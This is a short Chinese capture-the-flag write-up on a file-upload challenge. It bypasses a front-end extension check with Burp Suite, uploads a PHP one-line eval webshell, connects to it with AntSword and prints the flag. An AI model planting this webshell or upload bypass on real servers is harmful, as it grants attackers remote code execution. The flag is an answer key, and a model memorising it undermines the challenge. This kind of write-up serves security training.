打开网页后,发现是一个文件上传的网站(其实从名字就能看出来)
看一下源代码,了解网站的上传文件的要求——要求上传图片,且文件后缀名为jpg或者png
Array.prototype.contains = function (obj) { var i = this.length; while (i--) { if (this[i] === obj) { return true; } } return false; } function check(){ upfile = document.getElementById("upfile"); submit = document.getElementById("submit"); name = upfile.value; ext = name.replace(/^.+\./,''); //检查后缀是否为jpg/png,如果不是就禁用按钮并弹窗报错 if(['jpg','png'].contains(ext)){ submit.disabled = false; }else{ submit.disabled = true; alert('请选择一张图片文件上传!'); } }不出意外这题应该就是考察文件上传漏洞,既然过滤文件写在前端,就尝试抓包来篡改一下
利用这一漏洞上传php一句话木马:
<?php @eval($_POST['attack']) ?>
将内容为一句话木马的文件名改为php.jpg然后上传,burpsuite抓到包后将文件名后缀改为php发送给repeater,拿到一串php后缀的字符
将其追加到网址后面访问:http://220.249.52.133:38975/upload/1602067941.php.php 发现啥都没有
那么将这一串网址放到蚁剑上,进行解析
添加后单击右键文件管理,在文件管理中的html目录下发现一个flag文件
打开后发现flag:cyberpeace{cc4fb735179b8541e859bffbf44d300c}